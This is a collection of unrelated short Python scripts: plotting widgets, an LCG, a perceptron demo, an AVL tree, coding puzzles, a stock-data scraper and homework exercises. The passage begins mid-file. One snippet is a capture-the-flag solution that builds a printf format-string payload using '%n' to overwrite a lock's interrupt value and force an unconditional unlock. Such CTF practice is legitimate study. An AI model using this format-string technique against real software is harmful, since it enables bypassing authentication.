text += '\n'
y_pos += 1
x_pos = 0
# finally return the output
return text
if __name__ == '__main__':
print("Get ready...")
sleep(2)
print("\033c")
asci = main("python.jpg")
for _ in range(10):
call("xdotool key ctrl+minus".split())
print(asci)
sleep(3.5)
print('\033c')
call("xdotool key ctrl+0".split())
print("\033cWow, Huh?")
|
"""
This script is written to create a widget for use in Lecture_1.ipynb.
"""
import pandas as pd
from datascience import *
import numpy as np
import matplotlib
import matplotlib.pyplot as plt
plt.style.use('fivethirtyeight')
import ipywidgets as widgets
plt.style.use('fivethirtyeight')
###
data= Table().read_table("data/data_for_widget.csv")
grouped = data.group(["institution_name", "year"], sum)
new_percents = grouped.column("total_population sum") / grouped.column("designed_capacity sum") * 100
grouped = grouped.with_column("Percent Occupied", new_percents)
institutions = grouped.group(0).column(0)
institutions
inp = widgets.IntSlider(
value=0,
min=0,
max=39,
step=1,
description='Institution:',
orientation='horizontal',
readout= True,
readout_format='d'
)
def f(inp):
inst = grouped.where(0, institutions[inp])
inst.plot(1, "Percent Occupied")
year1 = inst.column("year")
if np.any(year1 == 2011):
# plt.axvline(x=2011, color = "red")
point1 = inst.where("year", 2011).column("Percent Occupied").item(0)
plt.plot([2011], [point1], 'ro')
plt.annotate("(2011, {0}%)".format(round(point1, 2)),
xy=(2011, round(point1, 2)), xytext=(-15, 0),
textcoords='offset points', ha='right', va='bottom',
bbox=dict(boxstyle='round,pad=0.5', fc='red', alpha=0.3),
arrowprops=dict(arrowstyle = '->', connectionstyle='arc3,rad=0'))
if np.any(year1 == 2013):
# plt.axvline(x=2013, color = "cyan")
point2 = inst.where("year", 2013).column("Percent Occupied").item(0)
plt.plot([2013], [point2], 'co')
plt.annotate("(2013, {0}%)".format(round(point2, 2)),
xy=(2013, round(point2, 2)), xytext=(35, 20),
textcoords='offset points', ha='right', va='bottom',
bbox=dict(boxstyle='round,pad=0.5', fc='cyan', alpha=0.3),
arrowprops=dict(arrowstyle = '->', connectionstyle='arc3,rad=0'))
if np.any(year1 == 2014):
# plt.axvline(x=2014, color = "orange")
point3 = inst.where("year", 2014).column("Percent Occupied").item(0)
plt.plot([2014], [point3], 'yo')
plt.annotate("(2014, {0}%)".format(round(point3, 2)),
xy=(2014, round(point3, 2)), xytext=(120, 15),
textcoords='offset points', ha='right', va='bottom',
bbox=dict(boxstyle='round,pad=0.5', fc='orange', alpha=0.3),
arrowprops=dict(arrowstyle = '->', connectionstyle='arc3,rad=0'))
plt.title(institutions[inp])
out = widgets.interactive_output(f, {'inp': inp}) |
'''
This is a function called 'mathfun' where there are two parameters, n1 and n2.
We can call 'mathfun' with the arguments n1 and n2 in the last line.
n1 and n2 are input by the user.
'''
# define the function, called 'mathfun' and put names of parameters inside parentheses
def mathfun(n1, n2):
# define variables named 'base', 'exponent', and 'result'
base = n1 + n2
exponent = n1 - n2
result = base**exponent
# and tell the function what to print
print "First you entered %d, then you entered %d. I added them together to get your base, %d. I subtracted the second entry from the first to get your exponent, %d. %d to the power of %d is %d!" % (n1, n2, base, exponent, base, exponent, result)
n1 = int(raw_input("Pick a number:"))
n2 = int(raw_input("Pick another number:"))
mathfun(n1, n2)
|
#!/usr/bin/python
import utils
from binascii import hexlify, unhexlify
def up():
'''We use a similar printf exploit as in addis_ababa (reading too many values
off the stack)
'''
#just some garbage, but:
# - 0x12 so that it works as an address (or else crashes)
# - 0x7f long because we're using %n
up = bytearray([0x12]*0x7f)
#0x44ce is the memory location where conditional_unlock has the value 0x7e,
#the "unlock if password is right" interrupt
#we swap it with 0x7f, "unlock because I'm a big stupid head" interrupt
up[0:2] = [0xc8, 0x44]
up += '%n%n'
#otherwise getsn kills us
assert len(up) <= 0x1f4
return up
if __name__ == '__main__':
print 'username:password: %s' % hexlify(up())
|
##append 和extend区别
# a=[1,2,3]
# b=[4]
# a.append(b)##将整个列表插入到a
# print(a)
# a.extend(b)##插入列表元素
# print(a)
#
# c=[5,6,7]
# a.append(c)
# print(a)
#
# a=[1,2,3]
# a.extend(c)
# print(a)
##列表拓展方式
# import time
# def dur(op,clock):
# duration=time.time()-clock
# print('%s finished.Duration %.6f seconds.' %(op,duration))
#
# list1=[]
# f1=time.time()
# for i in range(1000):
# for n in range(1000):
# list1.append(n)
# dur('list1 appanded',f1)
#
# list2=[]
# f2=time.time()
# seq=range(1000)
# for i in range(1000):
# list2.extend(seq)
# dur('list2 extend',f2)
# 已知字符串 a = "aAsmr3idd4bgs7Dlsf9eAF",要求如下 :请将a字符串改为小写或改为大写。
# a = "aAsmr3idd4bgs7Dlsf9eAF"
# print(a.upper())##大写
# print (a.lower())##小写 |
# -*- coding: utf-8 -*-
"""
Create functions that output pseudo-random numbers
"""
# Range of the random numbers
m = 2**25
# a-1 is divisible by all prime factors of m,
# a-1 is a multiple of 4 if m is a multiple of 4
a = 184513*4+1
# c and m are relatively prime (pgcd(c, m) = 1)
c = 1640393*2+1
# Linear congruential generator
def next_rand_LCG(prev):
""" Returns the next random number. """
return (a * prev + c) % m
def rand_LCG(n):
""" Returns the nth random number. """
return (a**n - 1)/(a - 1) * c % m
if __name__ == "__main__":
def pgcd(a, b):
if a < b:
a, b = b, a
while True:
r = a%b
if r != 0:
a = b
b = r
else:
break
return b
print "- Parameters -"
print "a: {}".format(a)
print "c: {}".format(c)
print "m: {}".format(m)
print ""
print "- Tests of the parameters -"
good_a = True
# a-1 is a multiple of 4 if m is a multiple of 4
if (m % 4) == 0:
if ((a-1) % 4) != 0:
print "Error, a-1 must be a multiple of 4 if m is a multiple of 4"
good_a = False
# a-1 is divisible by all prime factors of m
prime_factors = [2]
for p in prime_factors:
if ((a-1) % p) != 0:
print "a-1 not divisible by {}".format(p)
print "Error, a-1 must be divisible by all prime factors of m"
good_a = False
if good_a:
print "a: Ok"
# c and m are relatively prime (pgcd(c, m) = 1)
if pgcd(c, m) != 1:
print "b"
print "Error, c and m must be relatively prime (pgcd(c, m) = 1)"
else:
print "c: Ok"
# Potential "s"
s = 0
while True:
s += 1
if (a-1)**s % m == 0:
break
# If "s" < 5, generator is not random enough
print "potential s = {}".format(s)
if s < 5:
print "Warning, generator not random enough"
else:
print "s: Ok (generator can be random enough, other tests needed)"
print ""
print "- Tests next_rand_LCG -"
X0 = 0 # Seed
print "Seed: {}".format(X0)
Xi = X0
for i in xrange(10):
print "{}: {}".format(i, Xi)
Xi = next_rand_LCG(Xi)
print ""
print "- Tests rand_LCG -"
for i in xrange(10):
print "{}: {}".format(i, rand_LCG(i))
|
'''
===============================
A Test model about Perceptron
===============================
Perceptron model with different order
We can see the Perceptron will get different decision boundary
'''
print(__doc__)
#########################################################
# author : Quentin_Hsu #
# email : jlove.dragon@gmail.com #
# date : 2014.09.17 #
#########################################################
import numpy as np
import matplotlib.pyplot as plt
from sklearn import linear_model, svm
def createDataSet():
# we create 40 separable points
np.random.seed(0)
X = np.r_[np.random.randn(50, 2) - [2, 2], np.random.randn(50, 2) + [2, 2]]
Y = [0] * 50 + [1] * 50
# X[9] = [-1, 10]
return X, Y
def fitModel(clff, X, Y):
# clff.fit(X, Y, coef_init=[coefParam,coefParam],intercept_init=coefParam)
clff.fit(X, Y)
w = clff.coef_[0]
print w
a = -w[0] / w[1]
xx = np.linspace(-5, 5)
yy = a * xx - (clff.intercept_[0]) / w[1]
return xx, yy, a
def test():
X, Y = createDataSet()
h = .02 # step size in the mesh
x_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1
y_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1
xx, yy = np.meshgrid(np.arange(x_min, x_max, h), np.arange(y_min, y_max, h))
# shuffle the data to get the different order
clf1 = linear_model.Perceptron(warm_start=False,random_state=0, shuffle=True)
clf2 = linear_model.Perceptron(warm_start=False,random_state=1, shuffle=True)
clf3 = linear_model.Perceptron(warm_start=False,random_state=2, shuffle=True)
# fit the model with different classifier
xx1, yy1, a1 = fitModel(clf1, X, Y)
xx2, yy2, a2 = fitModel(clf2, X, Y)
xx3, yy3, a3 = fitModel(clf3, X, Y)
# plot the data node
plt.scatter(X[:, 0], X[:, 1], c=Y, cmap=plt.cm.Paired, label='data')
# plot the decision boundary
plt.plot(xx1, yy1, 'k-', label='perceptron1')
plt.plot(xx2, yy2, 'b-', label='perceptron2')
plt.plot(xx3, yy3, 'r-', label='perceptron3')
plt.xlim(xx.min(), xx.max())
plt.ylim(yy.min(), yy.max())
# a very useful tools: show label
plt.legend()
plt.title("The same data with different Order")
plt.show()
# python plot_perceptron_test2.py
if __name__ == '__main__':
test()
# import plot_perceptron_test2 or reload(plot_perceptron_test2)
if __name__ == 'plot_perceptron_test2':
print 'Testing......'
test()
|
'''
Created on May 20, 2013
@author: user
'''
counter = {"25 cent":0,"10 cent":0,"5 cent":0,"1 cent":0}
def display():
for keyvalue in counter.keys():
if keyvalue != 0:
print "%s %s numbers" %(keyvalue,counter[keyvalue])
def dollorexchange(value):
a = divmod(value,25)
counter["25 cent"] += a[0]
if a[1] == 0:
return
else:
b = divmod(a[1],10)
counter["10 cent"] += b[0]
if b[1] == 0:
return
else:
c = divmod(b[1],5)
counter["5 cent"] += c[0]
if c[1] == 0:
return
else:
counter["1 cent"] += c[1]
if __name__ == "__main__":
uservalue = float(raw_input("Please input the exchange value: \n"))
dollorexchange(uservalue*100)
display() |
import matplotlib
import matplotlib.pyplot as pyplot
import numpy as np
arr1 = list()
arr2 = list()
point = input("Enter No of points :")
for i in range (int (point)):
s = input()
li = s.split()
x = arr1.append(int (li[0]))
y = arr2.append(int (li[1]))
slope = []
intercept = []
xval1 = []
xval2 = []
f = open('C:/Users/BEJJANKI ADITYA/Desktop/DAA_run/sample.txt','r')
for row in f:
row = row.split(' ')
slope.append(float(row[0]))
intercept.append(float(row[1]))
xval1.append(float(row[2]))
xval2.append(float(row[3]))
le = len(slope)
for w in range (int (le)):
po = np.linspace(xval1[w],xval2[w],50)
pyplot.plot(po, slope[w] * po + intercept[w],linestyle='solid')
# print(slope[w])
# print(intercept[w])
# print('\n')
pyplot.plot()
pyplot.xlabel('x - axis')
pyplot.ylabel('y - axis')
pyplot.scatter(arr1, arr2, label= "Points", color= "black")
pyplot.title('Visualization with points and lines')
pyplot.legend()
pyplot.show() |
# Given a string, write a function to check if it is a permutation of a palindrome
# Input: Tact Coa
# Output: True -- Ex: "taco cat", "atco cta"
def palindromePermutation(str):
str = str.lower().replace(" ", "")
strdict = {}
for c in str:
if c in strdict.keys():
strdict[c] += 1
else:
strdict[c] = 1
count = 0
for n in strdict.values():
if (n % 2) != 0:
count += 1
if count >= 2:
return False
else:
return True
print(palindromePermutation("Tact Coa"))
print(palindromePermutation("abbba"))
print(palindromePermutation("aabbcbcc"))
print(palindromePermutation("a"))
|
"""
We are writing a tool to help users manage their calendars. Given an unordered list of times of day when people are busy, write a function that tells us the intervals during the day when ALL of them are available.
Each time is expressed as an integer using 24-hour notation, such as 1200 (12:00), 1530 (15:30), or 800 (8:00).
Sample input:
p1_meetings = [
(1230, 1300),
( 845, 900),
(1300, 1500),
]
p2_meetings = [
( 0, 844),
( 930, 1200),
(1515, 1546),
(1600, 2400),
]
p3_meetings = [
( 845, 915),
(1515, 1545),
(1235, 1245),
]
p4_meetings = [
( 1, 5),
(844, 900),
(1515, 1600)
]
schedules1 = [p1_meetings, p2_meetings, p3_meetings]
schedules2 = [p1_meetings, p3_meetings]
schedules3 = [p2_meetings, p4_meetings]
Expected output:
findAvailableTimes(schedules1)
=> [ 844, 845 ],
[ 915, 930 ],
[ 1200, 1230 ],
[ 1500, 1515 ],
[ 1546, 1600 ]
findAvailableTimes(schedules2)
=> [ 0, 845 ],
[ 915, 1230 ],
[ 1500, 1515 ],
[ 1545, 2400 ]
findAvailableTimes(schedules3)
[ 900, 930 ],
[ 1200, 1515 ]
n = number of meetings per schedule
s = number of schedules
"""
p1_meetings = [
(1230, 1300),
(845, 900),
(1300, 1500),
]
# 0 - 2400
p2_meetings = [
(0, 844),
(930, 1200),
(1515, 1546),
(1600, 2400),
]
p3_meetings = [
(845, 915),
(1515, 1545),
(1235, 1245),
]
p4_meetings = [
(1, 5),
(844, 900),
(1515, 1600)
]
schedules1 = [p1_meetings, p2_meetings, p3_meetings]
schedules2 = [p1_meetings, p3_meetings]
schedules3 = [p2_meetings, p4_meetings]
def mintohrs(timeList, last):
try:
for i in range(len(timeList)):
if timeList[i] + 1 != timeList[i+1]:
output.append((timeList[0], timeList[i]+1))
timeList = timeList[i+1:]
break
else:
continue
if output[-1][1] != last:
mintohrs(timeList, last)
except:
if timeList[0] != timeList[-1]:
output.append((timeList[0], timeList[-1]))
return output
def findAvailableTimes(schedules):
timeList = [m for m in range(2401)]
for p in schedules:
for time in p:
for i in range(time[0], time[1]):
try:
timeList.remove(i)
except:
pass
output = mintohrs(timeList, timeList[-1])
return output
output = []
print(findAvailableTimes(schedules1))
output = []
print(findAvailableTimes(schedules2))
output = []
print(findAvailableTimes(schedules3)) |
# The function is expected to return a string.
# The function accepts string as parameter.
def logic(my_input):
temp1=''
list1=list(my_input)
for i in range(0,len(my_input),4):
if i+4>len(list1):
break
temp1=list1[i]
list1[i]=list1[i+2]
list1[i+2]=temp1
temp1=list1[i+1]
list1[i+1]=list1[i+3]
list1[i+3]=temp1
str=''
for i in list1:
str += i
return str
# Do not edit below
# Get the input
my_input = input('enter the no:')
# Print output returned from the logic function
print(logic(my_input))
|
nterms=int(input('enter the no.'))
n1=0
n2=1
count=0
if nterms<1 :
print ("enter the positive no.")
elif nterms==1 :
print(n1)
else:
print(n1,',',n2,end=',')
while count<nterms:
nth=n1+n2
print(nth,end=',')
count=count+1
n1=n2
n2=nth |
# https://gist.github.com/lebedov/f09030b865c4cb142af1
"""
Retrieve intraday stock data from Google Finance.
"""
import csv
import datetime
import re
import pandas as pd
from urllib.request import urlopen
from _datetime import date
def get_google_finance_intraday(ticker, period=60, days=1):
"""
Retrieve intraday stock data from Google Finance.
Parameters
----------
ticker : str
Company ticker symbol.
period : int
Interval between stock values in seconds.
days : int
Number of days of data to retrieve.
Returns
-------
df : pandas.DataFrame
DataFrame containing the opening price, high price, low price,
closing price, and volume. The index contains the times associated with
the retrieved price values.
"""
# x = EPA for europe paris exchanges
uri = 'https://www.google.com/finance/getprices' \
'?i={period}&p={days}d&f=d,h,l&df=cpct&q={ticker}&x=EPA'.format(ticker=ticker,
period=period,
days=days)
page = urlopen(uri)
#reader = csv.reader(page.content.splitlines())
data = page.read().decode('utf-8').split('\n')
#print(data)
#columns = ['Open', 'High', 'Low', 'Close']
columns = ['High', 'Low']
rows = []
times = []
'''
dfList = []
dayCount = 0
dayCountTriggered = False
for row in data:
row = row.split(',')
if dayCountTriggered and dayCount > 1:
dayCountTriggered = False
rowLast = rows[-1] # the last element is for the next day, copy and delete it
timeLast = times[-1]
rows.pop()
times.pop()
if len(rows): # add df in list
dfList.append(pd.DataFrame(rows, index=pd.DatetimeIndex(times, name='Date'),
columns=columns))
else:
dfList.append(pd.DataFrame(rows, index=pd.DatetimeIndex(times, name='Date')))
rows = []
times = []
rows.append(rowLast) # put it in the new list
times.append(timeLast)
if re.match('^[a\d]', row[0]):
if row[0].startswith('a'):
dayCountTriggered = True
dayCount += 1
#print(int(row[0][1:10]))
start = datetime.datetime.fromtimestamp(int(row[0][1:]))
times.append(start)
else:
times.append(start+datetime.timedelta(seconds=period*int(row[0])))
rows.append(map(float, row[1:]))
if len(rows):
dfList.append(pd.DataFrame(rows, index=pd.DatetimeIndex(times, name='Date'),
columns=columns))
else:
dfList.append(pd.DataFrame(rows, index=pd.DatetimeIndex(times, name='Date')))
for df in dfList :
df['Close'] = df['Low']
'''
daySplitStart = []
daySplitEnd = []
skippedFirst = False
for row in data:
row = row.split(',')
if re.match('^[a\d]', row[0]):
if row[0].startswith('a'):
start = datetime.datetime.fromtimestamp(int(row[0][1:]))
times.append(start)
daySplitStart.append(times[len(times)-1]) # copy first and last index for each day
if skippedFirst :
daySplitEnd.append(times[len(times)-2]) # no end for first time
skippedFirst = True
else:
times.append(start+datetime.timedelta(seconds=period*int(row[0])))
rows.append(map(float, row[1:]))
if len(rows): # save data as dataframe
longTermDf = pd.DataFrame(rows, index=pd.DatetimeIndex(times, name='Date'),
columns=columns)
else:
longTermDf = pd.DataFrame(rows, index=pd.DatetimeIndex(times, name='Date'))
longTermDf['Close'] = longTermDf['Low'] # it seem that boursorama use "Low", but gi use "Close"
import genIndicator as gi
gi.genAll(longTermDf) # generate all indicators before split
dfList = []
for index in range(0, len(daySplitEnd)): # split data day by day
if(index != times[0]):
dfList.append(longTermDf.loc[daySplitStart[index] : daySplitEnd[index]])
dfList.append(longTermDf.loc[daySplitStart[len(daySplitStart)-1] : ]) # latest day data
return dfList
if __name__ == '__main__':
intradayList = get_google_finance_intraday('SOP', 60, 60)
for item in intradayList:
print(item.index[0].strftime('%d/%m/%Y'))
'''
dateList = []
for item in intradayList :
dateList.append(item.index[0].strftime('%d/%m/%Y'))
seletedDateTimeStr = '21/02/2017 - 13h30'
seletedDateTime = datetime.datetime.strptime(seletedDateTimeStr, '%d/%m/%Y - %Hh%M')
seletedDateStr = seletedDateTimeStr[0:10]
seletedTimeStr = seletedDateTimeStr[13:18]
df = intradayList[dateList.index(seletedDateStr)]
startShowPoint = df.index[0] # type : timestamp
#endShowPoint = seletedDateTime.timestamp()
endShowPoint = pd.Timestamp(seletedDateTime)
#print(endShowPoint)
'''
|
'''In Python, anonymous function is a function that is defined without a name.
While normal functions are defined using the def keyword, in Python anonymous functions are defined using the lambda keyword.
Hence, anonymous functions are also called lambda functions.'''
double = lambda x: x * 2
print(double(5))
my_list = [1, 5, 4, 6, 8, 11, 3, 12]
new_list = tuple(filter(lambda x: (x*3), my_list))
print(new_list)
my_list = [1, 5, 4, 6, 8, 11, 3, 12]
new_list = list(map(lambda x: (x*3), my_list))
print(new_list)
|
# -*- coding: utf-8 -*-
"""
Created on Thu Sep 20 16:36:48 2018
@author: 123
"""
class TreeNode():
def __init__(self, key, val, left=None, right=None, parent=None):
self.key = key
self.val = val
self.leftChild = left
self.rightChild = right
self.parent = parent
self.bf = 0
def isRoot(self):
return not self.parent
def isLeaf(self):
return not (self.leftChild or self.rightChild)
def hasLeftChild(self):
return self.leftChild
def hasRightChild(self):
return self.rightChild
def isLeftChild(self):
return self.parent and self.parent.leftChild == self
def isRightChild(self):
return self.parent and self.parent.rightChild == self
def hasAnyChild(self):
return self.leftChild or self.rightChild
def hasBothChild(self):
return self.leftChild and self.rightChild
def replaceNodeData(self, key, val, lc, rc):
self.key = key
self.val = val
self.leftChild = lc
self.rightChild = rc
if self.hasLeftChild():
self.leftChild.parent = self
if self.hasRightChild():
self.rightChild.parent = self
def findMin(self):
current = self
while current.hasLeftChild():
current = current.leftChild
return current
def spliceOut(self):
if self.isLeaf():
if self.isLeftChild():
self.parent.leftChild = None
else:
self.parent.rightChild = None
else:
self.parent.leftChild = self.rightChild
self.rightChild.parent = self.parent
class AVLTree():
def __init__(self):
self.root = None
self.size = 0
def put(self, key, val):
if self.root:
self._put(key, val, self.root)
else:
self.root = TreeNode(key, val)
self.size += 1
def _put(self, key, val, currentNode):
if key < currentNode.key:
if currentNode.hasLeftChild():
self._put(key, val, currentNode.leftChild)
else:
currentNode.leftChild = TreeNode(key, val, parent=currentNode)
self.updateBalance(currentNode.leftChild)
elif key > currentNode.key:
if currentNode.hasRightChild():
self._put(key, val, currentNode.rightChild)
else:
currentNode.rightChild = TreeNode(key, val, parent=currentNode)
self.updateBalance(currentNode.rightChild)
else:
currentNode.val = val
def __setitem__(self, k, v):
self.put(k, v)
def updateBalance(self, node):
if node.bf > 1 or node.bf < -1:
self.rebalance(node)
return
if node.parent:
if node.isLeftChild():
node.parent.bf += 1
elif node.isRightChild():
node.parent.bf -= 1
if node.parent.bf != 0:
self.updateBalance(node.parent)
def rotateLeft(self, rotRoot):
newRoot = rotRoot.rightChild
rotRoot.rightChild = newRoot.leftChild
if newRoot.leftChild:
newRoot.leftChild.parent = rotRoot
newRoot.parent = rotRoot.parent
if rotRoot.isRoot():
self.root = newRoot
else:
if rotRoot.isLeftChild():
rotRoot.parent.leftChild = newRoot
else:
rotRoot.parent.rightChild = newRoot
newRoot.leftChild = rotRoot
rotRoot.parent = newRoot
rotRoot.bf = rotRoot.bf + 1 - min(
newRoot.bf, 0)
newRoot.bf = newRoot.bf + 1 + max(
rotRoot.bf, 0)
def rotateRight(self, rotRoot):
newRoot = rotRoot.leftChild
rotRoot.leftChild = newRoot.rightChild
if newRoot.rightChild:
newRoot.rightChild.parent = rotRoot
newRoot.parent = rotRoot.parent
if rotRoot.isRoot():
self.root = newRoot
else:
if rotRoot.isRightChild():
rotRoot.parent.rightChild = newRoot
else:
rotRoot.parent.leftChild = newRoot
newRoot.rightChild = rotRoot
rotRoot.bf = rotRoot.bf + 1 + max(
newRoot.bf, 0)
newRoot.bf = newRoot.bf + 1 - min(
rotRoot.bf, 0)
def rebalance(self, node):
if node.bf < 0:
if node.rightChild.bf > 0:
self.rotateRight(node.rightChild)
self.rotateLeft(node)
else:
self.rotateLeft(node)
elif node.bf > 0:
if node.leftChild.bf < 0:
self.rotateLeft(node.leftChild)
self.rotateRight(node)
else:
self.rotateRight(node)
def height(self):
return self._height(self.root)
def _height(self, node):
if not node:
return -1
else:
return max(self._height(node.leftChild),
self._height(node.rightChild)) + 1
def get(self, key, default='Nothing'):
if self.root:
res = self._get(key, self.root)
if res:
return res.val
else:
return default
else:
return default
def _get(self, key, currentNode):
if not currentNode:
return None
elif currentNode.key == key:
return currentNode
elif key < currentNode.key:
return self._get(key, currentNode.leftChild)
else:
return self._get(key, currentNode.rightChild)
def __getitem__(self, key):
return self.get(key)
def __contains__(self, key):
if self._get(key, self.root):
return True
else:
return False
def delete(self, key):
if self.size > 1:
nodeToRemove = self._get(key, self.root)
if nodeToRemove:
self.remove(nodeToRemove)
self.size -= 1
else:
raise KeyError('Error, key not in tree')
elif self.size == 1 and self.root.key == key:
self.root = None
self.size = 0
else:
raise KeyError('Error, key not in tree')
def __delitem__(self, key):
self.delete(key)
def output(self):
self._output(self.root)
def _output(self, startNode):
if startNode:
self._output(startNode.leftChild)
print(startNode.key, startNode.val)
self._output(startNode.rightChild)
def remove(self, currentNode):
if currentNode.isLeaf():
if currentNode == currentNode.parent.leftChild:
currentNode.parent.leftChild = None
else:
currentNode.parent.rightChild = None
elif currentNode.hasBothChild():
succ = currentNode.rightChild.findMin()
succ.spliceOut()
currentNode.key = succ.key
currentNode.payload = succ.payload
else:
if currentNode.hasLeftChild():
if currentNode.isLeftChild():
currentNode.leftChild.parent = currentNode.parent
currentNode.parent.leftChild = currentNode.leftChild
elif currentNode.isRightChild():
currentNode.leftChild.parent = currentNode.parent
currentNode.parent.rightChild = currentNode.leftChild
else:
currentNode.replaceNodeData(
currentNode.leftChild.key,
currentNode.leftChild.val,
currentNode.leftChild.leftChild,
currentNode.leftChild.rightChild)
else:
if currentNode.isLeftChild():
currentNode.rightChild.parent = currentNode.parent
currentNode.parent.leftChild = currentNode.rightChild
elif currentNode.isRightChild():
currentNode.rightChild.parent = currentNode.parent
currentNode.parent.rightChild = currentNode.rightChild
else:
currentNode.replaceNodeData(
currentNode.rightChild.key,
currentNode.rightChild.val,
currentNode.rightChild.leftChild,
currentNode.rightChild.rightChild)
if __name__ == '__main__':
b = AVLTree()
b[10] = 'cat'
b[20] = 'dog'
b[30] = 'tiger'
b[40] = 'fish'
b[35] = 'monkey'
b[50] = 'sheep'
b.output()
print(f'b.height={b.height()}')
|
'''
Created on 19 March 2017
@author: Nigel Fernandez
'''
'''
The optimization is based on the fact that if the set of sums for a cell contains all numbers in [0, 50] then any cells on top of this cell will also contain [0, 50]. Recursively, we will finally reach the top cell which will contain the set of sums having [0, 50]. Since the top cell value will be from [-50, 50] the final answer will be zero. Hence if any set sum has [0, 50] then stop and output 0.
Also, we need to store only the absolute sum values since either + or - can be used to compute future sum values of cells above.
'''
import sys
from collections import defaultdict
#from timeit import default_timer as timer
def towards_zero(board, n):
#for line in board:
# print (line)
table = defaultdict(set)
for i in range(len(board)):
#print (i)
for j in range(len(board[i])):
if (i == 0):
table['00'] = set([abs(int(board[i][j]))])
elif (i < n):
if (i < n and j == 0):
#go top right only
#notice that only absolute values are stored
table[str(i) + str(j)] = set([abs(int(board[i][j]) + sum_) for sum_ in table[str(i-1) + str(j)]] + [abs(int(board[i][j]) - sum_) for sum_ in table[str(i-1) + str(j)]])
elif (i < n and (j == len(board[i])-1)):
#go top left only
table[str(i) + str(j)] = set([abs(int(board[i][j]) + sum_) for sum_ in table[str(i-1) + str(j-1)]] + [abs(int(board[i][j]) - sum_) for sum_ in table[str(i-1) + str(j-1)]])
else:
#go top left and right
table[str(i) + str(j)] = set([abs(int(board[i][j]) + sum_) for sum_ in table[str(i-1) + str(j-1)]] + [abs(int(board[i][j]) - sum_) for sum_ in table[str(i-1) + str(j-1)]] + [abs(int(board[i][j]) + sum_) for sum_ in table[str(i-1) + str(j)]] + [abs(int(board[i][j]) - sum_) for sum_ in table[str(i-1) + str(j)]])
else:
#go top left and right
table[str(i) + str(j)] = set([abs(int(board[i][j]) + sum_) for sum_ in table[str(i-1) + str(j)]] + [abs(int(board[i][j]) - sum_) for sum_ in table[str(i-1) + str(j)]] + [abs(int(board[i][j]) + sum_) for sum_ in table[str(i-1) + str(j+1)]] + [abs(int(board[i][j]) - sum_) for sum_ in table[str(i-1) + str(j+1)]])
#check is the set of sums contains [0,50], if yes, then return answer 0
if(set(range(0, 51)).issubset(table[str(i) + str(j)])):
#print (str(i) + str(j))
return 0
#for i in range(len(board)):
#for j in range(len(board[i])):
# print (table[str(i)+str(j)])
return min(table[str(2*n-2) + str(0)])
if __name__ == '__main__':
#start = timer()
while(True):
#get no of rows in board
line = sys.stdin.readline().strip()
line = line.split(' ')
n = int(line[0])
if (n == 0):
break
#get board
board = []
for i in range(2*n - 1):
line = sys.stdin.readline().strip()
row = line.split(' ')
board.append(row)
#for row in board:
# print (row)
#find towards zero for board
sys.stdout.write(str(towards_zero(board, n)) + '\n')
#end = timer()
#print(end - start)
|
def fizzbuzz(num1, num2):
for number in range(1, 100 + 1):
if number % num1 == 0 and number % num2 == 0:
print('FizzBuzz')
elif number % num2 == 0:
print("Fizz")
elif number % num1 == 0:
print('Buzz')
else:
print(number)
fizzbuzz(3,5)
# Output
# 1
# 2
# fizz
# 4
# buzz
# fizz
# 7
# 8
# fizz
# and so on
|
#!/usr/bin/env python
class Solution:
def permute(self, s):
results = []
self.helper("", s, results)
return results
def helper(self, prefix, leftOver, results):
if not leftOver:
results.append(prefix)
for i in xrange(len(leftOver)):
self.helper(prefix + leftOver[i], leftOver[:i] + leftOver[i+1:],
results)
if __name__ == '__main__':
print(Solution().permute("hi"))
print(Solution().permute("how"))
print(Solution().permute("hello"))
|
# Создать текстовый файл (не программно), построчно записать фамилии сотрудников и величину их
# окладов (не менее 10 строк). Определить, кто из сотрудников имеет оклад менее 20 тыс.,
# вывести фамилии этих сотрудников. Выполнить подсчет средней величины дохода сотрудников.
user_data_file_path = "Task_03_Data.txt"
sum_salary = 0
employees_number = 0
with open(user_data_file_path) as employees:
for employee in employees:
employee_salary = None
data = employee.replace("\n","").split(" ")
# Parse employee_salary
try:
employee_salary = float(data[1])
except ValueError:
print(f"There is a incorrect value format: {data[1]}. Skip this employee. Please check data")
continue
if (employee_salary != None) and (employee_salary < 20000):
print(f"{data[0]} has salary lower than 20000 rubles ({employee_salary})")
# Increment system data
sum_salary += employee_salary
employees_number += 1
middle_salary = sum_salary / employees_number
print(f"Middle salary for the {employees_number} employees is {middle_salary}")
|
# Реализовать генератор с помощью функции с ключевым словом yield, создающим очередное значение.
# При вызове функции должен создаваться объект-генератор.
# Функция должна вызываться следующим образом: for el in fact(n).
# Функция отвечает за получение факториала числа,
# а в цикле необходимо выводить только первые n чисел, начиная с 1! и до n!.
# Import functions
from math import factorial
def fact(max_factorial_value):
"""
Function generates factorials from 1 to n
:param max_factorial_value: max factorial value
"""
for index in range(1, max_factorial_value + 1):
yield factorial(index)
# Data
while True:
try:
max_factorial_value = int(input('Please input number (1 ... n) of factorials that you want to see >>>: '))
if max_factorial_value < 1:
print("Seems, you input negative number or null. Please try again")
continue
break
except ValueError:
print("Seems, you input non a number. Please try again")
continue
print(f"You want to get factorials values for {max_factorial_value} element(s)")
result_generator = fact(max_factorial_value)
for element in result_generator:
print(f"Factorial value: {element}")
|
# Для чисел в пределах от 20 до 240 найти числа, кратные 20 или 21. Необходимо решить задание в одну строку.
print(f"Result: {[value for value in range(20, 240) if value % 20 == 0 or value % 21 == 0]}")
|
# Пользователь вводит строку из нескольких слов, разделённых пробелами.
# Вывести каждое слово с новой строки. Строки необходимо пронумеровать.
# Если в слово длинное, выводить только первые 10 букв в слове.
# Get user data and generate words collection
original_string = input("Please input your words separated by whitespaces >>>")
user_words_collection = original_string.split()
print(f"Original string: {original_string}")
# Output words following by task rules
count = 1
for word in user_words_collection:
output_word = word
# Check the word's length
if len(word) > 10:
output_word = output_word[0:10]
print(f"Word #{count}: {output_word}")
count += 1
|
# Реализовать скрипт, в котором должна быть предусмотрена функция расчета заработной платы сотрудника.
# В расчете необходимо использовать формулу: (выработка в часах*ставка в час) + премия.
# Для выполнения расчета для конкретных значений необходимо запускать скрипт с параметрами.
import sys
def calculate_salary(prize=0, hourly_rate=10, covered_hours=0):
"""
Functions calculates salary by the following formula (covered_hours * hourly_rate) + prize
:param prize: prize
:param hourly_rate: money per work hour
:param covered_hours: completed hours
:return:
"""
salary = (covered_hours * hourly_rate) + prize
return salary
# Parsing configuration arguments
file, worker_hours, worker_rate, worker_prize = sys.argv
print(f"The worker completed {worker_hours} hours")
